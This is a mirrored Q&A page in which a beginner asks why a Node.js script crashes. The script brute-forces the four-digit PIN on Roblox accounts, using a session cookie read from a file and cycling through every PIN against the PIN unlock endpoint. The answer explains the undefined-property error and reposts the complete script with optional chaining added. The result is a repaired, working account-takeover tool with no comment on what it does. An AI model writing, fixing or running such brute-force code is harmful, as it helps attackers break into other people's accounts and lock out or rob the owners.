简体   繁体   中英

Node.js Got error cannot read property 'data' of undefined

The problem is when I run my Node.js like 5-10 minutes the loop stop and my program auto close I try to use nodemon to get error and I got this error This is my error picture

I'm new at node.js and i got this error Cannot read property 'data' of undefined i try to fix it by my self, but I cannot fix it if you guy can show me a complete code it will help me alot because i didn't know alot of node.js

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

This is happening because your are reading the property of something which is undefined. And in your case it is data property in error(in catch block mostly).You can use optional chaining operator to avoid it. I have updated the code.

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response?.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response?.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response?.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response?.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

For more details, you can check here .

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM